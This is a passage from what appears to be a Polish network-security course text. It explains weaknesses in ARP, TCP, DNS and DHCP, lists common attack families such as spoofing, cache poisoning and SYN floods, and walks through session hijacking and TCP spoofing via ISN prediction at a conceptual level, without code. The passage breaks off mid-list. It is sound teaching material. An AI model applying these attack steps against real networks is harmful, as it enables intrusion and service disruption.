Mechanizmy rozgłoszeniowe oferuje wiele protokołów, również IP. Ukierunkowane rozgłoszenie często jest wykorzystywane do przeprowadzenia ataków na dostępność informacji (typu Denial of Service – DoS). Stanowi to najistotniejsze zagrożenie związane z mechanizmem rozgłaszania. Szczęśliwie, wiele routerów posiada funkcję blokowania ruchu rozgłoszeniowego.

Odwzorowanie adresów

Odwzorowanie adresów IP na adresy MAC (np. Ethernet) jest niezbędne dla realizacji operacji nadawczych, a dokładniej do konstrukcji prawidłowej ramki MAC. Zadaniem odwzorowania adresów na ogół zajmuje się protokół ARP (Address Resolution Protocol). Stosuje on transmisję rozgłoszeniową zapytań i zbiera odpowiedzi bez zapewnienia poufności i autentyczności. W celu poprawy efektywności, protokół wykorzystuje pamięć podręczną do temporalnego składowania informacji pozyskanych z docierających zapytań i odpowiedzi ARP.

W efekcie z protokołem ARP wiążą się następujące zagrożenia:

• stacja w sieci lokalnej może wysyłać fałszywe zapytania lub odpowiedzi ARP
• kierując w efekcie inne pakiety w swoim kierunku (ARP spoofing)
• dzięki czemu napastnik może:
  • modyfikować strumienie danych
  • podszywać się pod wybrane komputery

Często można skonfigurować lokalne statyczne mapowanie ARP wyłączając przy tym automatyczną obsługę zapytań i odpowiedzi ARP, co uwalnia od w/w problemów. Jednak w praktyce okazuje się, że wyłączenie obsługi komunikacji sieciowej nie jest możliwe w każdej implementacji stacji protokołu ARP.

Rysunek 5. Format zapytania ARP

Warstwa transportowa

Jak wiadomo, w rodzinie protokołów internetowych występują 2 protokoły transportowe. Protokół TCP (Transmission Control Protocol) jest to protokół strumieniowy zorientowany połączeniowo. Zestawienie komunikacji w protokole TCP wymaga wykonania 3-etapowej procedury nawiązania połączenia (3-way handshake). Bodaj najistotniejszym zadaniem tej procedury jest ustalenie inicjalnych numerów sekwencyjnych, rozpoczynających numerowanie bajtów strumienia danych przekazywanego w każdym z dwu kierunków połączenia A-B (rysunek 7).

Rysunek 6. Format segmentu TCP

Na schemacie z rysunku 7 zastosowano następujące oznaczenia:

SN = Numer sekwencyjny w nagłówku segmentu określa numer pierwszego oktetu danych przesyłanych w tym segmencie ACK = Numer potwierdzenia – numer sekwencyjny następnego oktetu danych po ostatnim pomyślnie odebranym (numer oczekiwanego oktetu) ISN = Inicjalny numer sekwencyjny (Initial Sequence Number) – początkowy numer sekwencyjny danych przesyłanych w danym połączeniu, ustalany w procesie nawiązania połączenia (w segmencie SYN). Każde połączenie może rozpocząć numerację oktetów danych od arbitralnej wartości (jeśli ISN=0, to pierwszy oktet w całym połączeniu ma numer ISN+1=1). Inicjalny numer sekwencyjny jest ustalany oddzielnie dla obu stron połączenia (w ogólności ISNA ≠ ISNB )

Rysunek 7. Schemat nawiązania połączenia (3-way handshake)

Nawiązanie połączenia TCP charakteryzują następujące cechy:

• możliwe jest zdalne wymuszenie połączenia i przechwycenie legalnej komunikacji nawet bez odbioru segmentu SYN+ACK
• wymaga to odgadnięcia ISN zawartego w tym segmencie
• na szczęście numery ISN są wybierane pseudolosowo
• na ogół z rozkładem bardzo dalekim od losowego
  • wg sugestii z RFC 793 – licznik ISN jest inkrementowany co 4 μs
  • starsze jądra wywodzące się z BSD (4.2) dokonują inkrementacji o wartość stałą co 1 sek i przy każdym nowym połączeniu
• więc łatwo przewidzieć ISN dla nowych połączeń

Stopień randomizacji wyboru ISN graficznie reprezentuje się wykresem fazowym. Wykresy fazowe prawidłowego generatora ISN zgodny ze standardem RFC 1948 oraz generatorów w popularnych (mniej i bardziej) systemach operacyjnych można znaleźć w <A HREF=”http://alon.wox.org/tcpseq/”>[Zalewski]</A>. Jak pokazują przykłady wykresów fazowych, coraz więcej systemów operacyjnych stosuje generatory zbliżone do wzorcowego, jednak nadal wiele jest implementacji dalece od wzorca odbiegających. Skutkuje to możliwością przeprowadzenia pewnych ataków, o których będzie mowa dalej.

Procedura nawiązania połączenia TCP może być wykorzystana do realizacji następujących ataków:

• ataki zalewające ofiarę nowonawiązywanymi połączeniami – dla każdego nawiązanego połączenia system przydziela pewne zasoby, w szczególności pamięć. Zasoby zwalniane są po zamknięciu połączenia. Jeśli zamknięcie nie następuje, wówczas zasoby pozostają zajęte (mimo iż mogły w ogóle nie być wykorzystane). Odpowiednio duża liczba zestawionych połączeń może doprowadzić do przydzielenia im całej dostępnej pamięci nie pozostawiając żadnych dostępnych zasobów do pracy systemu i powodując załamanie jego pracy.
• ataki zalewające ofiarę segmentami SYN (wykorzystujące stan half-opened) – w praktyce system operacyjny przydziela zasoby dla nowozestawianego połączenia, jak tylko pojawia się pierwszy segment SYN, jeszcze zanim 3-etapowa procedura nawiązywania zostanie zakończona. Zasoby zajmowane są zatem nawet jeśli połączenie nie zostanie w pełni zestawione. Duża liczba na wpół nawiązanych połączeń może wyczerpać zasoby i ostatecznie blokuje stację protokołu TCP i cały system. Co więcej, takie ataki są trudno wykrywalne, bowiem typowe implementacje TCP nie raportują wyższym warstwom OSI (systemowi operacyjnemu) żadnych zdarzeń związanych z połączeniem, które nie jest jeszcze w pełni nawiązane.

Warstwa aplikacyjna

W warstwie aplikacyjnej występują m.in. problemy trywialnego uwierzytelniana na podstawie identyfikacji usług oraz braku odpowiednich zabezpieczeń usług narzędziowych.

Identyfikacja usług

Identyfikacja usług w modelu internetowym odbywa się zwykle jedynie na podstawie numer portu źródłowego lub docelowego. Z wykorzystaniem wartości numeru portu wiążą się następujące obserwacje:

• lokalny numer portu klienta jest niemal zawsze wybierany przypadkowo przez system operacyjny (choć klient może go wybrać sam)
• w systemie Unix występują tzw. porty uprzywilejowane (systemowe) – są to porty o numerach do wartości 1024. Pod tymi portami system pozwala uruchomić proces sieciowy tylko administratorowi (root). Teoretycznie zatem, można domniemywać iż uruchomione pod systemowymi portami procesy należą do zaufanych i bezpiecznych. Jednak w praktyce, nie ma oczywiście pewnego sposobu zweryfikowania prawdziwości tego domniemania zdalnie.
• niestety nadal w wielu przypadkach systemy zdalne polegają na zaufaniu do asocjacji obejmujących te porty (połączeń z tymi portami)
• w istocie restrykcja wykorzystania portów uprzywilejowanych tylko przez administratora jest wyłącznie konwencją – nie należy do specyfikacji protokołów usług, a co więcej – nie dotyczy systemów innych niż Unix
• poleganie na niej absolutnie nie jest bezpieczne

Usługi narzędziowe infrastruktury sieciowej

Jednym z najpopularniejszych przykładów usług narzędziowych jest DNS (Domain Name Service). Jak wiadomo, system DNS to swoista rozproszona baza danych odwzorowań nazwa domenowa - adres sieciowy. Baza DNS ma strukturę drzewiastą, poddrzewa odpowiadają poszczególnym domenom niższego poziomu (poddomenom). Zarządzanie poddrzewami może być delegowane innym serwerom DNS. Aktualizacje bazy DNS mogą obejmować pojedyncze rekordy RR (resource records), jak i całe poddrzewa. Poprzez protokół DNS można dokonywać prostych zapytań o pojedyncze odwzorowania, jak i zrealizować pozyskanie pełnej kopii fragmentu obszaru nazw (tzw. transfer stref – zone transfer) np. w celu aktualizacji serwerów zapasowych. Protokół DNS dostępny jest poprzez oba internetowe protokoły transportowe: UDP – tak realizowane są proste zapytania DNS, TCP – tak odbywa się transfer stref DNS. Z punktu widzenia bezpieczeństwa istotne jest, iż niektóre zapisy RR dostarczają informacji użytecznych dla włamywaczy, np. HINFO (może zawierać m.in. informacje o systemie operacyjnym), WKS (well-known-services). Pola te, na szczęście, rzadko są dziś stosowane.

Baza DNS składa się z dwóch oddzielnych drzew mapowań – dla mapowania nazw na adresy (zapytania proste) i adresów na nazwy (zapytania odwrotne – inverse queries). Nie ma wymuszonej relacji między drzewami – każde z nich jest w praktyce utrzymywanie niezależnie. Przy tym drzewo mapowań odwrotnych zwykle nie jest równie często aktualizowane a do tego w ogóle jest utrzymywane w gorszym stanie. Niestety stanowi to potencjalne ułatwienie w przejęciu kontroli nad częściami drzewa mapowań odwrotnych i, w efekcie, skutecznym podszywaniu się pod autoryzowane nazwy.

W przypadku usługi DNS można wyróżnić następujące podstawowe problemy dotyczące bezpieczeństwa:

• udostępnianie użytecznych informacji atakującym
• brak uwierzytelniania w protokole zapytań DNS i transferu stref, co umożliwia fałszowanie danych (pharming)
• podszywanie się pod autoryzowne nazwy kompromituje system uwierzytelniania przez nazwę – w tym przypadku możliwa jest jednak prosta obrona przez dodatkową weryfikację w drzewie mapowań nazw i wykrycie fałszerstwa
• możliwość „zatruwania” fałszywymi odpowiedziami lokalnej pamięci cache usługi DNS stacji uwierzytelniającej jeszcze zanim wyśle ona zapytanie o mapowanie – wówczas fałszerstwo nie wyjdzie na jaw

Usługi inne popularne usługi narzędziowe BOOTP i DHCP również udostępniają informacje o infrastrukturze sieciowej, i to często bardzo bogate informacje, praktycznie bez uwierzytelniania. Na szczęście dostępne są one na ogół tylko w obrębie sieci lokalnej, zatem mogą być wykorzystane tylko przez atakujących, którzy wdarli się już do atakowanej podsieci. Istotny jest jednak problem bezpiecznej wymiany danych pomiędzy serwerami DHCP a DNS, a ta z kolei może przechodzić przez kilka podsieci.

Typowe ataki na infrastrukturę sieciową

Powszechne techniki ataków na infrastrukturę sieciową wykorzystują głównie niedoskonałości protokołów oraz technologii sieciowych w celu:

• uzyskania danych (information recovery)
• podszycia się pod inne systemy w sieci (host impersonation)
• manipulacji mechanizmami dostarczania pakietów (temper with delivery mechanisms)

Poniżej wymienione zostaną najczęściej spotykane współcześnie techniki ataków zebrane w następujące 4 klasy:

• Sniffing/scanning:
  • network sniffing – jest to pasywny podgląd medium transmisyjnego, np. w celu przechwycenia interesujących ramek (packet snooping)
  • network scanning – jest to wykorzystanie specyfiki implementacji protokołów do sondowania (enumeration) urządzeń aktywnych w sieci, aktywnych usług, konkretnych wersji systemu operacyjnego i poszczególnych aplikacji (sztandarowym przykładem narzędzi realizujących taki atak jest program nmap)
• Spoofing:
  • session hijacking – przejmowanie połączeń poprzez „wstrzelenie” odpowiednio dobranych pakietów – wymaga dostępu do uprzednio legalnie zestawionego połączenia TCP
  • TCP spoofing – podszywanie bazujące na oszukaniu mechanizmu generowania numerów ISN; wykorzystanie ataku np. w celu oszukania mechanizmów uwierzytelniania usług r* (które dokonują uwierzytelniania przy użyciu funkcji rusersok())
  • UDP spoofing – prostsze od TCP w realizacji (ze względu na brak mechanizmu szeregowania i potwierdzeń ramek w protokole UDP), użyteczne podczas atakowania usług i protokołów bazujących na UDP np. DNS.
• Poisoning:
  • ARP spoofing/poisoning – wykorzystuje zasady działania protokołu ARP, umożliwiając zdalną modyfikację wpisów w tablicach ARP systemów operacyjnych oraz przełączników, a przez to przepełnianie tablic ARP
  • DNS cache poisoning (pharming, także znany jako birthday attack) – umożliwia modyfikację wpisów domen w dynamicznym cache DNS, co jest niezwykle dużym zagrożeniem w połączeniu z atakami pasywnymi
  • ICMP redirect – wykorzystanie funkcji ICMP do zmiany trasy routingu dla wybranych adresów sieciowych
  • ataki na urządzenia sieciowe przy pomocy protokołu SNMP
• Denial of Service (DoS)

w tej kategorii mieszczą się wszystkie te ataki, których ostatecznym celem jest unieruchomienie poszczególnych usług, całego systemu lub całej sieci komputerowej.

• • oto przykłady kilku najpopularniejszych ataków:
    • SYN flood
    • smurf, fraglle
    • land
    • tribal flood (trin00, trinio, trinity v3)
    • subseven, stacheldracht
    • UDP storms (teardrop, bonk)
    • ICMP destination unreachable
  • istnieją też ataki na wyższe warstwy modelu OSI, np. e-mail bombing.

Atak session hijacking

Rysunek 8 przedstawia wyjściowy stan ataku session hijacking, którego celem jest nieuprawnione wpięcie segmentów protokołu transportowego w strumień wymieniany w autoryzowanym (poprawnie zestawionym) połączeniu między systemem A (przyszłą ofiarą ataku) i zaufanym systemem B. Atakujący E, mając wgląd w dotychczasową zawartość strumienia w kierunku do B do A (poprzez sniffing), może spreparować poprawny i oczekiwany przez A segment, który podsunie jako rzekomo autentyczny segment wysłany przez B (rysunek 9).

Rysunek 8. Schemat ataku session hijacking (1)

Rysunek 9. Schemat ataku session hijacking (2) – w strumieniu przesyłane są segmenty po 100 B

Atak TCP spoofing

Rysunek 10 przedstawia początek ataku TCP spoofing, którego celem jest nieuprawnione zestawienie połączenia z systemem A (ofiarą ataku) w imieniu zaufanego systemu B. Atakujący E tym razem nie ma wglądu komunikację między A i B, co czyni atak znacznie trudniejszym niż session hijacking. Atak wymaga nie tylko sfałszowania adresu źródłowego (w szczególności w pierwszym segmencie SYN, nawiązującym połączenie), ale dodatkowo poprawnego przewidzenia numeru ISNA (który zaproponuje system A w drugim segmencie SYN/ACK) i być może jeszcze zablokowania poprawnej komunikacji z rzeczywistym systemem B (co może wymagać przeprowadzenia ataku DoS skierowanego przeciw B), aby B nie mógł zakończyć (zresetować) niechcianego połączenia. Mimo tych utrudnień E może spreparować poprawny i oczekiwany przez A segment ACK – kończący poprawnie procedurę nawiązania połączenia, (rysunek 11).

Rysunek 10. Schemat ataku TCP spoofing (1)

Najtrudniejszym krokiem ataku jest wysłanie poprawnego segmentu trzeciego zawierającego potwierdzenie inicjalnego numeru sekwencyjnego ISNA wybranego przez A. Ze względu na brak możliwości podglądu przez E komunikacji z A do prawdziwego B, wymaga to przewidzenia wartości ISNA przez E. Jest to prawdopodobne przy wygenerowaniu relatywnie niedużej liczby segmentów ACK, jeśli system A nie posiada poprawnego generatora ISN. Wówczas jest szansa, iż jeden z wygenerowanych przez E segmentów będzie przenosił poprawną wartość potwierdzenia i zostanie przez A uznany za oczekiwany.

Rysunek 11. Schemat ataku TCP spoofing (2)

Można wyróżnić następujące elementy ataku TCP spoofing:

• wytypowanie właściwego ISN_A – np. poprzez uprzednie nawiązanie autoryzowanego połączenia na inny port (pozyskanie wcześniejszego numeru ISN'_A)
• celowe uniemożliwienie przetwarzania segmentu drugiego, zawierającego wartości SYN (ISN_A) i ACK (ISN_E)